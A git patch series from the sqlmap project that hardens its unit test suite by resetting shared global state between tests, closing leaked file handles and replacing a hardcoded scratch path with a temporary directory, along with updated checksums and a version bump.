"__main__": unittest.main() + + +def tearDownModule(): + reset_dbms() # clear any DBMS forced via set_dbms() so it can't leak into later test modules diff --git a/tests/test_error_engine.py b/tests/test_error_engine.py index 2c9b54c5a..d13231729 100644 --- a/tests/test_error_engine.py +++ b/tests/test_error_engine.py @@ -22,7 +22,7 @@ import sys import unittest sys.path.insert(0, os.path.dirname(os.path.abspath(__file__))) -from _testutils import bootstrap, set_dbms +from _testutils import bootstrap, set_dbms, reset_dbms bootstrap() from lib.core.data import conf, kb @@ -111,3 +111,7 @@ class TestOneShotErrorUse(unittest.TestCase): if __name__ == "__main__": unittest.main(verbosity=2) + + +def tearDownModule(): + reset_dbms() # clear any DBMS forced via set_dbms() so it can't leak into later test modules diff --git a/tests/test_filesystem.py b/tests/test_filesystem.py index 70b6192e1..353252f8e 100644 --- a/tests/test_filesystem.py +++ b/tests/test_filesystem.py @@ -28,7 +28,7 @@ import sys import unittest sys.path.insert(0, os.path.dirname(os.path.abspath(__file__))) -from _testutils import bootstrap, set_dbms +from _testutils import bootstrap, set_dbms, reset_dbms bootstrap() from lib.core.data import conf, kb @@ -733,3 +733,7 @@ class TestUDF(_FsBase): if __name__ == "__main__": unittest.main() + + +def tearDownModule(): + reset_dbms() # clear any DBMS forced via set_dbms() so it can't leak into later test modules diff --git a/tests/test_fingerprint.py b/tests/test_fingerprint.py index 0aefbd3da..b583ea061 100644 --- a/tests/test_fingerprint.py +++ b/tests/test_fingerprint.py @@ -18,7 +18,7 @@ import sys import unittest sys.path.insert(0, os.path.dirname(os.path.abspath(__file__))) -from _testutils import bootstrap, set_dbms +from _testutils import bootstrap, set_dbms, reset_dbms bootstrap() from lib.core.data import conf, kb @@ -93,12 +93,18 @@ class TestFingerprint(unittest.TestCase): conf.batch = True conf.extensiveFp = False conf.api = False + # _drive() stubs the SHARED lib.request.inject module (plugins do `from lib.request import inject`), + # so snapshot the originals and restore them, else stubbed getValue/checkBooleanExpression leak process-wide + import lib.request.inject as _inject + self._inject = _inject + self._inject_saved = (_inject.getValue, _inject.checkBooleanExpression) def tearDown(self): for k, v in self._saved.items(): conf[k] = v for k, v in self._kb.items(): kb[k] = v + self._inject.getValue, self._inject.checkBooleanExpression = self._inject_saved def _drive(self, name, modpath, pkg, oracle): set_dbms(name) @@ -201,3 +207,7 @@ for _name, _mod, _pkg in TARGETS: if __name__ == "__main__": unittest.main() + + +def tearDownModule(): + reset_dbms() # clear any DBMS forced via set_dbms() so it can't leak into later test modules diff --git a/tests/test_generic_takeover.py b/tests/test_generic_takeover.py index 89449adf4..40f0f0c9d 100644 --- a/tests/test_generic_takeover.py +++ b/tests/test_generic_takeover.py @@ -26,7 +26,7 @@ import sys import unittest sys.path.insert(0, os.path.dirname(os.path.abspath(__file__))) -from _testutils import bootstrap, set_dbms +from _testutils import bootstrap, set_dbms, reset_dbms bootstrap() @@ -599,3 +599,7 @@ class TestTakeover(_GenericBase): if __name__ == "__main__": unittest.main() + + +def tearDownModule(): + reset_dbms() # clear any DBMS forced via set_dbms() so it can't leak into later test modules diff --git a/tests/test_graphql.py b/tests/test_graphql.py index 5be9d901b..506e8f102 100644 --- a/tests/test_graphql.py +++ b/tests/test_graphql.py @@ -246,6 +246,7 @@ class TestGraphqlBooleanDetection(unittest.TestCase): def setUp(self): self._gql = gi._gqlSend + self._conf = gi.conf gi.conf = type("C", (), {"url": "http://test/graphql"})() pages = {"true": MATCH, "false": NOMATCH} @@ -259,6 +260,7 @@ class TestGraphqlBooleanDetection(unittest.TestCase): def tearDown(self): gi._gqlSend = self._gql + gi.conf = self._conf def test_boolean_detected(self): slot = _slot("query", "Query", "user", "username", "string") @@ -277,6 +279,7 @@ class TestGraphqlErrorDetection(unittest.TestCase): def setUp(self): self._gql = gi._gqlSend + self._conf = gi.conf gi.conf = type("C", (), {"url": "http://test/graphql"})() def fakeSend(endpoint, query, variables=None): @@ -287,6 +290,7 @@ class TestGraphqlErrorDetection(unittest.TestCase): def tearDown(self): gi._gqlSend = self._gql + gi.conf = self._conf def test_error_detected(self): slot = _slot("query", "Query", "user", "username", "string") @@ -372,10 +376,12 @@ class TestGraphqlIntrospectionFallback(unittest.TestCase): def setUp(self): self._gql = gi._gqlSend + self._conf = gi.conf gi.conf = type("C", (), {"url": "http://test/graphql"})() def tearDown(self): gi._gqlSend = self._gql + gi.conf = self._conf def test_fallback_without_specifiedByURL(self): calls = [] diff --git a/tests/test_identifiers_output.py b/tests/test_identifiers_output.py index dfa27ab27..39a97f066 100644 --- a/tests/test_identifiers_output.py +++ b/tests/test_identifiers_output.py @@ -13,7 +13,7 @@ import sys import unittest sys.path.insert(0, os.path.dirname(os.path.abspath(__file__))) -from _testutils import bootstrap, set_dbms +from _testutils import bootstrap, set_dbms, reset_dbms bootstrap() from lib.core.common import safeSQLIdentificatorNaming, unsafeSQLIdentificatorNaming, safeCSValue @@ -83,3 +83,7 @@ class TestSafeCSValue(unittest.TestCase): if __name__ == "__main__": unittest.main(verbosity=2) + + +def tearDownModule(): + reset_dbms() # clear any DBMS forced via set_dbms() so it can't leak into later test modules diff --git a/tests/test_inference_engine.py b/tests/test_inference_engine.py index bbc0b5a1f..066c70406 100644 --- a/tests/test_inference_engine.py +++ b/tests/test_inference_engine.py @@ -24,7 +24,7 @@ import sys import unittest sys.path.insert(0, os.path.dirname(os.path.abspath(__file__))) -from _testutils import bootstrap, set_dbms +from _testutils import bootstrap, set_dbms, reset_dbms bootstrap() from lib.core.data import conf, kb @@ -151,3 +151,7 @@ class TestSearchIsLogarithmic(_EngineCase): if __name__ == "__main__": unittest.main(verbosity=2) + + +def tearDownModule(): + reset_dbms() # clear any DBMS forced via set_dbms() so it can't leak into later test modules diff --git a/tests/test_misc.py b/tests/test_misc.py index d92b72b17..f3bf3faef 100644 --- a/tests/test_misc.py +++ b/tests/test_misc.py @@ -13,7 +13,7 @@ import sys import unittest sys.path.insert(0, os.path.dirname(os.path.abspath(__file__))) -from _testutils import bootstrap, set_dbms +from _testutils import bootstrap, set_dbms, reset_dbms bootstrap() from lib.core import common as C @@ -123,3 +123,7 @@ class TestArrayHelpers(unittest.TestCase): if __name__ == "__main__": unittest.main(verbosity=2) + + +def tearDownModule(): + reset_dbms() # clear any DBMS forced via set_dbms() so it can't leak into later test modules diff --git a/tests/test_parse_modules.py b/tests/test_parse_modules.py index 37e90cc2e..f94a4d27b 100644 --- a/tests/test_parse_modules.py +++ b/tests/test_parse_modules.py @@ -18,7 +18,7 @@ import tempfile import unittest sys.path.insert(0, os.path.dirname(os.path.abspath(__file__))) -from _testutils import bootstrap, set_dbms +from _testutils import bootstrap, set_dbms, reset_dbms bootstrap() from lib.core.data import kb, conf @@ -173,3 +173,7 @@ class TestConfigFileParser(unittest.TestCase): if __name__ == "__main__": unittest.main() + + +def tearDownModule(): + reset_dbms() # clear any DBMS forced via set_dbms() so it can't leak into later test modules diff --git a/tests/test_property.py b/tests/test_property.py index 04cf72180..789eea476 100644 --- a/tests/test_property.py +++ b/tests/test_property.py @@ -28,7 +28,7 @@ import sys import unittest sys.path.insert(0, os.path.dirname(os.path.abspath(__file__))) -from _testutils import bootstrap, for_all, set_dbms +from _testutils import bootstrap, for_all, set_dbms, reset_dbms bootstrap() from extra.cloak.cloak import cloak, decloak @@ -272,3 +272,7 @@ class TestRobustness(unittest.TestCase): if __name__ == "__main__": unittest.main() + + +def tearDownModule(): + reset_dbms() # clear any DBMS forced via set_dbms() so it can't leak into later test modules diff --git a/tests/test_report.py b/tests/test_report.py index 63c4fd7e0..d5dade141 100644 --- a/tests/test_report.py +++ b/tests/test_report.py @@ -38,6 +38,12 @@ class _CollectorCase(unittest.TestCase): def tearDown(self): kb.partRun = self._saved_partRun + # setupReportCollector() attaches a ReportErrorRecorder to the GLOBAL logger; drop it so it does + # not leak a handler bound to a now-closed collector into later tests + from lib.core.data import logger + for handler in list(logger.handlers): + if isinstance(handler, api.ReportErrorRecorder): + logger.removeHandler(handler) try: self.c.disconnect() except Exception: diff --git a/tests/test_search_enum.py b/tests/test_search_enum.py index ae9437ec7..66b3b850a 100644 --- a/tests/test_search_enum.py +++ b/tests/test_search_enum.py @@ -20,7 +20,7 @@ import sys import unittest sys.path.insert(0, os.path.dirname(os.path.abspath(__file__))) -from _testutils import bootstrap, set_dbms +from _testutils import bootstrap, set_dbms, reset_dbms bootstrap() @@ -548,3 +548,7 @@ class TestSearchInference(_SearchBase): if __name__ == "__main__": unittest.main() + + +def tearDownModule(): + reset_dbms() # clear any DBMS forced via set_dbms() so it can't leak into later test modules diff --git a/tests/test_target_parsing.py b/tests/test_target_parsing.py index 0dcd8312c..c5a981f4a 100644 --- a/tests/test_target_parsing.py +++ b/tests/test_target_parsing.py @@ -22,6 +22,7 @@ respect to the network, so they are exercised here against real temp dirs. All expected values below were probed from actual output, not assumed. """ +import atexit import os import shutil import sys @@ -29,7 +30,7 @@ import tempfile import unittest sys.path.insert(0, os.path.dirname(os.path.abspath(__file__))) -from _testutils import bootstrap +from _testutils import bootstrap, reset_dbms bootstrap() from lib.core.data import conf @@ -62,7 +63,8 @@ from lib.core.target import _setRequestParams from lib.core.target import _setResultsFile from lib.core.target import initTargetEnv -SCRATCH = "/tmp/claude-1000/-tmp-tmp-oUnlQJzlQN/fcd55d25-6313-49ed-817e-dcbe7fc2bf22/scratchpad" +SCRATCH = tempfile.mkdtemp(prefix="sqlmap-tests-") # per-run temp dir (portable; replaces a stale hardcoded path) +atexit.register(lambda: shutil.rmtree(SCRATCH, ignore_errors=True)) # conf/kb keys that the tests below mutate; saved in setUp, restored in tearDown so # one test can never leak global state into another (or into the rest of the suite). @@ -519,3 +521,7 @@ class TestSetResultsFile(_TargetTestBase): if __name__ == "__main__": unittest.main(verbosity=2) + + +def tearDownModule(): + reset_dbms() # clear any DBMS forced via set_dbms() so it can't leak into later test modules diff --git a/tests/test_techniques.py b/tests/test_techniques.py index c1f1b6313..6ab50de7e 100644 --- a/tests/test_techniques.py +++ b/tests/test_techniques.py @@ -30,7 +30,7 @@ import tempfile import unittest sys.path.insert(0, os.path.dirname(os.path.abspath(__file__))) -from _testutils import bootstrap, set_dbms +from _testutils import bootstrap, set_dbms, reset_dbms bootstrap() from lib.core.data import conf, kb @@ -1518,3 +1518,7 @@ class TestConfigUnion(unittest.TestCase): if __name__ == "__main__": unittest.main(verbosity=2) + + +def tearDownModule(): + reset_dbms() # clear any DBMS forced via set_dbms() so it can't leak into later test modules diff --git a/tests/test_union_engine.py b/tests/test_union_engine.py index 97ac88081..f0592fe4e 100644 --- a/tests/test_union_engine.py +++ b/tests/test_union_engine.py @@ -23,7 +23,7 @@ import sys import unittest sys.path.insert(0, os.path.dirname(os.path.abspath(__file__))) -from _testutils import bootstrap, set_dbms +from _testutils import bootstrap, set_dbms, reset_dbms bootstrap() from lib.core.data import conf, kb @@ -105,3 +105,7 @@ class TestOrderByColumnCount(unittest.TestCase): if __name__ == "__main__": unittest.main(verbosity=2) + + +def tearDownModule(): + reset_dbms() # clear any DBMS forced via set_dbms() so it can't leak into later test modules diff --git a/tests/test_users_enum.py b/tests/test_users_enum.py index d23e2db17..f20c14328 100644 --- a/tests/test_users_enum.py +++ b/tests/test_users_enum.py @@ -20,7 +20,7 @@ import sys import unittest sys.path.insert(0, os.path.dirname(os.path.abspath(__file__))) -from _testutils import bootstrap, set_dbms +from _testutils import bootstrap, set_dbms, reset_dbms bootstrap() @@ -476,3 +476,7 @@ class TestUsersGetUsersInference(_UsersBase): if __name__ == "__main__": unittest.main() + + +def tearDownModule(): + reset_dbms() # clear any DBMS forced via set_dbms() so it can't leak into later test modules diff --git a/tests/test_xpath.py b/tests/test_xpath.py index 2c3dcfac1..99903382a 100644 --- a/tests/test_xpath.py +++ b/tests/test_xpath.py @@ -9,8 +9,11 @@ HTTP/lxml layer so detection, fingerprinting, blind inference, payload building, formatting can be exercised without a live target. """ +import os +import sys import unittest +sys.path.insert(0, os.path.dirname(os.path.abspath(__file__))) from _testutils import bootstrap bootstrap() From d60e95ede7f44a0492fadeb55aaa3a4cbe50112d Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Miroslav=20=C5=A0tampar?= Date: Thu, 2 Jul 2026 22:52:02 +0200 Subject: [PATCH 128/165] Some more stabilization of unittests --- data/txt/sha256sums.txt | 38 +++++++++++++++++------------------ lib/core/common.py | 4 +++- lib/core/settings.py | 2 +- lib/parse/configfile.py | 2 ++ lib/utils/hash.py | 2 ++ tests/test_api.py | 2 ++ tests/test_bigarray.py | 12 +++++++++++ tests/test_checks.py | 3 ++- tests/test_common.py | 3 +-- tests/test_filesystem.py | 13 ++++++------ tests/test_ldap.py | 15 ++++++++++++++ tests/test_nosql.py | 15 ++++++++++++++ tests/test_pagecontent.py | 1 + tests/test_payload_marking.py | 18 +++++++++++++++++ tests/test_purge.py | 5 ++++- tests/test_sgmllib.py | 1 + tests/test_ssti.py | 3 +-- tests/test_targeturl.py | 14 +++++++++++++ tests/test_texthelpers.py | 1 + tests/test_threads.py | 1 + 20 files changed, 122 insertions(+), 33 deletions(-) diff --git a/data/txt/sha256sums.txt b/data/txt/sha256sums.txt index c654360a5..a894ed054 100644 --- a/data/txt/sha256sums.txt +++ b/data/txt/sha256sums.txt @@ -168,7 +168,7 @@ d69e84f1648cdb907f5d2dd454f03874a4613752b07867510145d51d84b3c56f lib/controller 1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3 lib/controller/__init__.py 48ffe93d61734e16c3b20153b51595853d9ac1fbcf0b537e0e61e957b0c0bfa6 lib/core/agent.py c51c33501cc905586a9aaac93b06f2ac6f71628d032a7dc39fd0ef05d7ee3856 lib/core/bigarray.py -e6866a8a8870c345334296e9533042719d32219127fafdda481566b119c3a50d lib/core/common.py +c230a214023a6556648e6af485b42fbcd10f23d2cb9018ad7bc68e36f7241328 lib/core/common.py 8f1272487e1adfcc8c755a2f56f0c6d21eac5e685a73a9a159482f9dc9142bc5 lib/core/compat.py 5301ba2204404d086e9a67271cde00fc10214c63b018a95fc5aa90ff9e0b2ad9 lib/core/convert.py c03dc585f89642cfd81b087ac2723e3e1bb3bfa8c60e6f5fe58ef3b0113ebfe6 lib/core/data.py @@ -189,7 +189,7 @@ c2db614a3ce7dda889152bea8bd6d709e5d8c2b556741fdbfe44469f27ce266b lib/core/enums 9bf174058f15d14e24e94f9aaf42df045119d3617c6c54bd2f3af79b462f331d lib/core/replication.py 0b8c38a01bb01f843d94a6c5f2075ee47520d0c4aa799cecea9c3e2c5a4a23a6 lib/core/revision.py 888daba83fd4a34e9503fe21f01fef4cc730e5cde871b1d40e15d4cbc847d56c lib/core/session.py -de1ffd738b35e31eb95467eda8a230cc81ff4d21e48e4c02c29da09299823126 lib/core/settings.py +2f2411c91cab0ee8b337c9672bd510e408e1ab44b83ec0eaf0763604f4f99926 lib/core/settings.py c7804223319e18eb0b8e2cbf0a8b6896d1cefb7b0b1a2e9f1cf826a8a3b56750 lib/core/shell.py a2e98a94b231432736d6b304fc75525c8b5fdb4768c418387c5b4c1a610dad64 lib/core/subprocessng.py 15d36cdac9389d0a54a6c33fbb89f32bb65e303f50de573773dcb6d4618bca64 lib/core/target.py @@ -201,7 +201,7 @@ b9aacb840310173202f79c2ba125b0243003ee6b44c92eca50424f2bdfc83c02 lib/core/unesc 1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3 lib/__init__.py 54bfd31ebded3ffa5848df1c644f196eb704116517c7a3d860b5d081e984d821 lib/parse/banner.py fef119c6f3f2fe6a092112fd832d645c58e4c3c2af0bd97ace4487372c1e3574 lib/parse/cmdline.py -02d82e4069bd98c52755417f8b8e306d79945672656ac24f1a45e7a6eff4b158 lib/parse/configfile.py +925a068efa1885fa40671414a887c088f2aafbe8cb76f01286e6bde3f624dac1 lib/parse/configfile.py c5b258be7485089fac9d9cd179960e774fbd85e62836dc67cce76cc028bb6aeb lib/parse/handler.py 5c9a9caee948843d5537745640cc7b98d70a0412cc0949f59d4ebe8b2907c06c lib/parse/headers.py ea9b195e5f5030b96d1993c106c1e13fb5c7faaf6bdc5daacfd06ec984e7f323 lib/parse/html.py @@ -264,7 +264,7 @@ bd9267d94390ba87d6c5a35c90f2406d6a4135a7c8ea01db76dd9e6519eee2ed lib/utils/dial 3c4ad819589fe4fca303706dc87969273a07a04dee85e23f064b39caf1fb80e9 lib/utils/gui.py 972c5db9c9e30ac0f91c0f8d4df4531d0304e151dac99f1399c37c952ba9f935 lib/utils/har.py 0cd3860c03e39bacd1d0fe4cf1a0c605de48ff82f70441319f21d47e38e7e3a9 lib/utils/hashdb.py -f1f29dee813d08be77023543c45a4f3621ed26b1bbc133c020b618256663baaf lib/utils/hash.py +0c4ffffbf873bfc6981da6c92697331ce8d985025982ad7c6d52f2c26639df73 lib/utils/hash.py 1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3 lib/utils/__init__.py 1bbf57e43f921d4132e6e5a336ff39454a9506b36de94ebcc45879d0abcac56a lib/utils/keysetdump.py b57aa20b7a6fd8afd07bae773fd03f8acb05655ee605362b220e65a0664dc38d lib/utils/library.py @@ -587,14 +587,14 @@ dcdeed9ee285e63cf06baf8347e3db7f210ef25a63869bab78ce1ec6898ae191 tamper/unional ce1b6bf8f296de27014d6f21aa8b3df9469d418740cd31c93d1f5e36d6c509cf tamper/xforwardedfor.py 44401cad3e39ae9fb899ed5d0e2fdd0879561de05c3117f17f3b0db54f4e3724 tests/__init__.py 0e9054da5d1fed1ddfc982b8f559914237f65d9be5e595c3218fcd236dfa7212 tests/test_agent.py -138381e05a860272fedab780e6c38ab74c59c879048b11b909d23f8df654352a tests/test_api.py -feb763ddcbf4f32822372ca53f8c71c754af7b72510ef06e1e9c77927fc90b10 tests/test_bigarray.py +9dc0ce7a038e7ac67c7f992b478a58492dad335d14761fa0600eec1f5a339c76 tests/test_api.py +694d8c87b2b98d7de6bc09fd634a2d32c436c7955c793cca6fa8790d3868f701 tests/test_bigarray.py aeefe699f477e77ec4fb46c2692a1ea04cd89ad9cce62e8857d13e3bc0606e9d tests/test_brute.py 27ad87c0ea377e0657bd6f6a4eaa0e9756aa9d28ec0483bdadeb3f66dcc4660d tests/test_charset.py -7596fc69678304923b5c945c0fd9b8ee62a2dfc7fb14ccb6dc7af30893dc8012 tests/test_checks.py +9cc73e06ba3b4c07e0d8f5fd1962f8f25ba6b7ab7278cfb094bfff76fe5e7328 tests/test_checks.py 9e678a56e16211c49ab4995b6c658d3f122bfa3b357d9e17ff38f5a489ace6ad tests/test_cloak.py 2ec894f49ca9bd750a23ead16dae176bcbc57d18ec5847fa4a5eeb886d75c1bd tests/test_common_helpers.py -d436ad4c99be71d5faadb37f63d96a498e7e2b84f257ac9c7965b2ccd999e9e9 tests/test_common.py +886754f39804a4f3f7157124b21ce08d9bad83d156dcd81bc942521bb42c4a29 tests/test_common.py 899bc085e96d68f8a8cbe0d7e55863e98ef37b73ab0e4234f7d969e31ea2d23a tests/test_comparison_json.py 7b72d4f850bbd059b8e95fceb45a58470354cb7270c99b0e9981aaa189af20d1 tests/test_comparison.py a7c3cf9f7820f377ebfdecf9383ebebc2932dd4a2a531a2b4496071f9d973c1c tests/test_compat.py @@ -615,7 +615,7 @@ ec58ba0849d90d2bb7580fe2b8b96cd8299ddfc25f14dc27d9de9d41f152c78a tests/test_dns 2bbe4b01f79992cfa8884651fc0a28dbd0e3abb0cbea9eb7eadf1f98ca3c3420 tests/test_encoding.py f4c54b19a294bf392b23dc627781d50894c8e44ca4fe5d7315c98984a3e196a4 tests/test_entries.py ed7df24ce154e4cbb4462874a38202794664d12b083845bbee9f80481ec9cf52 tests/test_error_engine.py -6f3c214128c7147307c70f0905a0d1aa8118cbbc95086c6fcadce13009fb4946 tests/test_filesystem.py +950527f0abaffdc031e34336a870cd0f89723ee8589bf77763f5978f5e4c0be8 tests/test_filesystem.py 31fa778c7ee318169961d04ea7b93afc539c24b4114a6a3eaf45698fef57bb4b tests/test_fingerprint.py abb6eef3d2d08b87b6210dde6dd1333d39da64f5abe5574240fa47efce7528f3 tests/test_generic_takeover.py b7d59fe68af29d47dda1d7ad77e9b5c91ed50e9efbb976e62e0dc67dd11b3e17 tests/test_graphql.py @@ -627,36 +627,36 @@ c04e8358fb6df45f69f2f26435c971acde280535bf304e84d30cf2681158c6a7 tests/test_has b23bf934dafe54c241761517a7b8c139159aa4b941db10832a626a51fea81e35 tests/test_http2.py 139dcedb9093eb0404ce497549eb6ab7e83ae1e70df8eb42da74ab5a3e7d2a85 tests/test_identifiers_output.py 0a5736b86a47e66d47d44ecf7b8c7531417453fc3e976cd64e9865d3afba78f4 tests/test_inference_engine.py -0fc7bd9bae4fbd09f51027780b7a8e72eab73810dccdfdf87ed9e489e6e671c9 tests/test_ldap.py +22629df783f75a88c2a30ffb8e37af095e761b771322fefbd69bdd7a5c9348fb tests/test_ldap.py 571d7761d60a2919985d065893af68eac5d12286f491eaba434c1d8587f913a0 tests/test_library.py d2f701f4c3a8621b937ddd322343df91e102af5424ab58675dec4dc7781035b4 tests/test_misc.py -790b78c600b61eb0bdd6e07e14b1db3eb2ddd5fc5d4edb9e975f85ced38558c7 tests/test_nosql.py +2f6d2270b26f68b3c9b511364c57eb5eb7b010ff716346fe2b320df30280f94c tests/test_nosql.py 88a8c7ce0ba0ca721dffbcf9351cd07f7e471ad2fe667a10608c18952b09868d tests/test_openapi_drift.py a0d173bb595ffbd2b49ee7fb1519d9898aefc262f2565923c4fe41bbc06f57e0 tests/test_openapi.py 6e63ed05db0490148d1c8428d785a23b0d5d5a0f566cd397c9c4a8fe8a6ed7dc tests/test_option.py -cde0bea1263ae857561f91ed2bd515e972b716743f017d31b1718a8546c72759 tests/test_pagecontent.py +fc698e34b53e95c2cc190dadb087d5873711202b2c5eef9db9fc6de5f9c88063 tests/test_pagecontent.py 7297b791aed9278d9252a3ade688e67796eb5c9cc4d6b29e1d2b56d83aa20295 tests/test_parse_modules.py -0d52bf4b96eea2330553fdf7f875ed571e596d2f7a4b3648a2b53e44666f0c70 tests/test_payload_marking.py +6cfe189c49749a2e0bc551173f5d2c4eb5aad8cbb1f9584ecc60958b9a842725 tests/test_payload_marking.py 6bfc8201724078bd9d6d559916ef73c9ff97e19b0f2948f37e588a49b027795f tests/test_payloads_structure.py d6ffa83bd56ae98e7f55307b72dd7ea4802bccea9a85bb8f062619fb0a88913e tests/test_progress.py 2d135eba3ad0fd091962d84742ebf67314fd3f89dcaaa1252b3e3d76fae7c9fd tests/test_property.py -c4c6f500bb71c3e430da343a49e8c8b8b3c919f438b6e6130597ce68dd856487 tests/test_purge.py +9a0915f34e1f80a2989238fcce940734cd886020c549711a8444e7ee62eab812 tests/test_purge.py 2dfefb4bfaee3868152835502ec43da317c4f274b1d55cd2ef21e4f7390c9bea tests/test_replication.py 427a543e17dfede42b9fbccc916fa0aecd93fb7bfb5c280de4c2bca87c5d8de5 tests/test_report.py 4723d3bdf9623a49972e1d7378168ae8efbeaa31fb11c35d83bb40cc135fa0a8 tests/test_request_basic.py cec98d72992c0799229a780fa7f0d7f3fb01ec2d708187ce0e4a05c8612f291b tests/test_safe2bin.py 575ebc336be598858279094072cde1ac9b124109cd7397bd805decd1b0a616d4 tests/test_search_enum.py a1c6cda1e5b483f61e6a4f8ddd0b06a15ddaa3fd2119bfb9dbd9cc970d7a751d tests/test_settings_regex.py -29d0278e3718b0fee422d3f6bb85ca02560138d48cd76f9fe1f35ac19d96071b tests/test_sgmllib.py +295581435c4dbf7fe6c291bbf0163c43ccb6ee610e6f3f2609bfeed734c91a1a tests/test_sgmllib.py d3d991331096e16e5019de3d652e9fff92c09bd9f97c50b1c2c3ceb0ed49b17e tests/test_sqlparse.py -412a61053c2531cc0380b34dfd01d52bd118f6a6473728c069c467054c7e3c8e tests/test_ssti.py +19e1e17d7a94e42cf75a37901c3468c79807a2d423bd1988b6f4a2566b864f3b tests/test_ssti.py 8bcbf1091134dd0a62f6201f8b3645ed87b5ff2f7ba40a87231a29dac412591f tests/test_strings.py 8f1c5f0f337ecd26d35c5551060034e0aa33a62cce5385fc1227fdc485f6383e tests/test_tamper.py b2b3a00254301e5e880e2e77351ebc47eed2c5280477915feedf780ea8cbd34f tests/test_target_parsing.py -b3e13febe9e0ff6f97334f2868655bfdbaa18755e464a6dc4c6d424f513bad02 tests/test_targeturl.py +cc67045d60472913eca574d601077e5111a95f4563c66caf361b8deaa2bed03c tests/test_targeturl.py d7d8aaba1d22ee690c8da2c6e28cea0ab45b0d7a6915a5ae7f581c44d7121aab tests/test_techniques.py -639851dc68f62b559b200b09c308e64e453f414969940005bac75dc0ab07a6b6 tests/test_texthelpers.py -f49bcce1df533ffa1acfd02af43faf6687b21eebda9362ceb1e5871b8cb37fd4 tests/test_threads.py +61769e1d6c4429659ebfb2de696b506821e3c6f3ca81b4318ce790b9553ca6a3 tests/test_texthelpers.py +095a889a6274f0f8e437bf9a23e4b073ab6c4b60aba582e6d1e2099645f1d883 tests/test_threads.py 8d23cb42cde68e0da2c4b47db367139d0c53363fef7493ae70b7f6636a1bbbc7 tests/test_union_engine.py 48b0ae4abe0fdde8ce4975c5cbf4c3514a2815021cb2e3a490a189bea5edfe78 tests/test_unpickle_security.py 4b646f513c6da1e33200184ed6eabe0aa345eb2e2a19598dc123e191168591bf tests/test_urls.py diff --git a/lib/core/common.py b/lib/core/common.py index e23288d44..9a86af8cd 100644 --- a/lib/core/common.py +++ b/lib/core/common.py @@ -2099,7 +2099,9 @@ def getFileType(filePath): desc = getText(desc) if desc == getText(magic.MAGIC_UNKNOWN_FILETYPE): - content = openFile(filePath, "rb", encoding=None).read() + _ = openFile(filePath, "rb", encoding=None) + content = _.read() + _.close() try: content.decode() diff --git a/lib/core/settings.py b/lib/core/settings.py index fa05cc0ed..4600eb3d1 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from lib.core.enums import OS from thirdparty import six # sqlmap version (...) -VERSION = "1.10.7.20" +VERSION = "1.10.7.21" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/lib/parse/configfile.py b/lib/parse/configfile.py index a3bd3786b..88f91ce78 100644 --- a/lib/parse/configfile.py +++ b/lib/parse/configfile.py @@ -75,6 +75,8 @@ def configFileParser(configFile): except Exception as ex: errMsg = "you have provided an invalid and/or unreadable configuration file ('%s')" % getSafeExString(ex) raise SqlmapSyntaxException(errMsg) + finally: + configFP.close() if not config.has_section("Target"): errMsg = "missing a mandatory section 'Target' in the configuration file" diff --git a/lib/utils/hash.py b/lib/utils/hash.py index b26388265..cca7d4fc3 100644 --- a/lib/utils/hash.py +++ b/lib/utils/hash.py @@ -1225,6 +1225,7 @@ def _bruteProcessVariantA(attack_info, hash_regex, suffix, retVal, proc_id, proc pass finally: + wordlist.closeFP() # release the wordlist file handle (else it leaks; Windows can't rmtree an open file) if hasattr(proc_count, "value"): with proc_count.get_lock(): proc_count.value -= 1 @@ -1304,6 +1305,7 @@ def _bruteProcessVariantB(user, hash_, kwargs, hash_regex, suffix, retVal, found pass finally: + wordlist.closeFP() # release the wordlist file handle (else it leaks; Windows can't rmtree an open file) if hasattr(proc_count, "value"): with proc_count.get_lock(): proc_count.value -= 1 diff --git a/tests/test_api.py b/tests/test_api.py index a76d814d6..4360c3e70 100644 --- a/tests/test_api.py +++ b/tests/test_api.py @@ -86,6 +86,7 @@ class _ApiServerCase(unittest.TestCase): """ def setUp(self): + self._saved_batch = conf.batch conf.batch = True # snapshot mutated globals @@ -122,6 +123,7 @@ class _ApiServerCase(unittest.TestCase): api.DataStore.username = self._saved["username"] api.DataStore.password = self._saved["password"] api.Database.filepath = self._saved["filepath"] + conf.batch = self._saved_batch def _new_task(self): code, parsed, _ = _wsgi_call("GET", "/task/new") diff --git a/tests/test_bigarray.py b/tests/test_bigarray.py index 8d033f77c..9d65d8e97 100644 --- a/tests/test_bigarray.py +++ b/tests/test_bigarray.py @@ -28,14 +28,26 @@ from lib.core.bigarray import BigArray N = 5000 +_SPILLED = [] + def _make_spilled(): # tiny chunk_size guarantees many on-disk chunks for N items ba = BigArray(chunk_size=1024) for i in range(N): ba.append("item-%d" % i) + _SPILLED.append(ba) # tracked so tearDownModule closes it (release the on-disk chunk files) return ba +def tearDownModule(): + for ba in _SPILLED: + try: + ba.close() + except Exception: + pass + del _SPILLED[:] + + class TestSpill(unittest.TestCase): def test_actually_spilled_to_disk(self): ba = _make_spilled() diff --git a/tests/test_checks.py b/tests/test_checks.py index 7300c39bb..54988ac58 100644 --- a/tests/test_checks.py +++ b/tests/test_checks.py @@ -53,9 +53,10 @@ _CONF_KEYS = ( "notString", "regexp", "regex", "dummy", "offline", "skipWaf", "data", "hashDB", "cj", "cookie", "dropSetCookie", "httpHeaders", "proxy", "tor", "tamper", "timeout", "retries", "textOnly", "ignoreCode", "disablePrecon", - "ipv6", "multipleTargets", "level", "base64Parameter", "batch", + "ipv6", "multipleTargets", "level", "base64Parameter", "batch", "code", "titles", ) _KB_KEYS = ( + "pageTemplate", "negativeLogic", "heavilyDynamic", "dynamicParameter", "originalPage", "originalPageTime", "originalCode", "ignoreCasted", "heuristicMode", "disableHtmlDecoding", "heuristicTest", "heuristicPage", "heuristicCode", "pageStable", diff --git a/tests/test_common.py b/tests/test_common.py index 73396f0ec..e8d217627 100644 --- a/tests/test_common.py +++ b/tests/test_common.py @@ -1320,10 +1320,9 @@ class 